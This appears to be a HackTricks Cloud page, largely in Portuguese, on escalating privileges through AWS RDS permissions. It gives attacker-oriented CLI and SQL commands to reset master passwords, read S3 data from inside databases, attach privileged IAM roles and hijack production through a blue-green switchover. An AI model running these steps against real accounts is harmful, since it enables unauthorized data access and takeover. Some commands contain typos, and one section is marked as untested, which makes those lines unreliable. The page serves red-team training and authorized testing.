AWS - RDS Privesc
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do đŹ Discord group ou do telegram group ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
RDS - Relational Database Service
Para mais informaçÔes sobre RDS consulte:
AWS - Relational Database (RDS) Enum
rds:ModifyDBInstance
Com essa permissĂŁo, um atacante pode modificar a senha do usuĂĄrio master, e o login dentro do banco de dados:
# Get the DB username, db name and address
aws rds describe-db-instances
# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
Warning
VocĂȘ precisarĂĄ ser capaz de contatar o banco de dados (eles geralmente sĂŁo acessĂveis apenas de dentro das redes).
Impacto Potencial: Encontrar informaçÔes sensĂveis dentro dos bancos de dados.
rds-db:connect
According to the docs a user with this permission could connect to the DB instance.
Abusar permissÔes IAM do RDS Role
Postgresql (Aurora)
Tip
Se ao executar
SELECT datname FROM pg_database;vocĂȘ encontrar um banco de dados chamadordsadminvocĂȘ sabe que estĂĄ dentro de um banco de dados postgresql da AWS.
Primeiro, vocĂȘ pode verificar se esse banco de dados foi usado para acessar qualquer outro serviço da AWS. VocĂȘ pode checar isso olhando as extensĂ”es instaladas:
SELECT * FROM pg_extension;
Se vocĂȘ encontrar algo como aws_s3 pode presumir que esse banco de dados tem algum tipo de acesso ao S3 (existem outras extensĂ”es como aws_ml e aws_lambda).
AlĂ©m disso, se vocĂȘ tiver permissĂ”es para executar aws rds describe-db-clusters vocĂȘ pode ver ali se o cluster tem alguma IAM Role attached no campo AssociatedRoles. Se houver, vocĂȘ pode presumir que o banco de dados foi preparado para acessar outros serviços da AWS. Com base no nome da role (ou se vocĂȘ conseguir obter as permissĂ”es da role) vocĂȘ poderia inferir qual acesso extra o banco de dados possui.
Agora, para ler um arquivo dentro de um bucket vocĂȘ precisa saber o caminho completo. VocĂȘ pode lĂȘ-lo com:
// Create table
CREATE TABLE ttemp (col TEXT);
// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv', // Name of the file
'eu-west-1' //region of the bucket
) AS s3_uri \gset
// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
// Get info
SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
Se vocĂȘ tivesse raw AWS credentials, vocĂȘ tambĂ©m poderia usĂĄ-las para acessar dados do S3 com:
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
Note
Postgresql nĂŁo precisa alterar nenhuma variĂĄvel do grupo de parĂąmetros para conseguir acessar o S3.
Mysql (Aurora)
Tip
Inside a mysql, if you run the query
SELECT User, Host FROM mysql.user;and there is a user calledrdsadmin, you can assume you are inside an AWS RDS mysql db.
Dentro do mysql execute show variables; e se variĂĄveis como aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role tiverem valores, vocĂȘ pode presumir que o banco de dados estĂĄ preparado para acessar dados do S3.
AlĂ©m disso, se vocĂȘ tiver permissĂ”es para executar aws rds describe-db-clusters vocĂȘ pode verificar se o cluster tem algum role associado, o que geralmente significa acesso a serviços AWS).
Agora, para ler um arquivo dentro de um bucket vocĂȘ precisa saber o caminho completo. VocĂȘ pode lĂȘ-lo com:
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
rds:AddRoleToDBCluster, iam:PassRole
Um atacante com as permissĂ”es rds:AddRoleToDBCluster e iam:PassRole pode adicionar uma role especificada a uma instĂąncia RDS existente. Isso poderia permitir que o atacante acesse dados sensĂveis ou modificasse os dados dentro da instĂąncia.
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
Impacto Potencial: Acesso a dados sensĂveis ou modificaçÔes nĂŁo autorizadas nos dados na instĂąncia RDS.
Observe que alguns DBs exigem configuraçÔes adicionais, como Mysql, que também precisa especificar o role ARN nos parameter groups.
rds:CreateDBInstance
Com essa permissĂŁo, um atacante poderia criar uma nova instĂąncia dentro de um cluster que jĂĄ existe e tem um IAM role anexado. Ele nĂŁo poderĂĄ alterar a senha do master user, mas pode conseguir expor a nova instĂąncia de banco de dados Ă internet:
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
rds:CreateDBInstance, iam:PassRole
Note
TODO: Testar
Um atacante com as permissĂ”es rds:CreateDBInstance e iam:PassRole pode criar uma nova instĂąncia RDS com um role especificado anexado. O atacante pode entĂŁo potencialmente acessar dados sensĂveis ou modificar os dados dentro da instĂąncia.
Warning
Alguns requisitos do role/instance-profile a anexar (from here):
- O instance profile deve existir na sua conta.
- O instance profile deve ter um IAM role que o Amazon EC2 tenha permissÔes para assumir.
- O nome do instance profile e o nome do IAM role associado devem começar com o prefixo
AWSRDSCustom.
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
Impacto Potencial: Acesso a dados sensĂveis ou modificaçÔes nĂŁo autorizadas nos dados na instĂąncia RDS.
rds:AddRoleToDBInstance, iam:PassRole
Um atacante com as permissĂ”es rds:AddRoleToDBInstance e iam:PassRole pode adicionar uma role especificada a uma instĂąncia RDS existente. Isso poderia permitir que o atacante acessasse dados sensĂveis ou modificasse os dados dentro da instĂąncia.
Warning
A instĂąncia DB deve estar fora de um cluster para isso
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
Impacto Potencial: Acesso a dados sensĂveis ou modificaçÔes nĂŁo autorizadas nos dados na instĂąncia RDS.
rds:CreateBlueGreenDeployment, rds:AddRoleToDBCluster, iam:PassRole, rds:SwitchoverBlueGreenDeployment
Um atacante com essas permissÔes pode clonar um banco de dados de produção (Blue), anexar uma função IAM de alto privilégio ao clone (Green) e então usar switchover para substituir o ambiente de produção. Isso permite ao atacante elevar os privilégios do banco de dados e obter acesso não autorizado a outros recursos da AWS.
# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>
# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>
# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>
Impacto Potencial: Tomada completa do ambiente de banco de dados de produção. Após a alternùncia, o banco de dados passa a operar com privilégios elevados, permitindo acesso não autorizado a outros serviços AWS (por exemplo, S3, Lambda, Secrets Manager) a partir do próprio banco de dados.
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do đŹ Discord group ou do telegram group ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

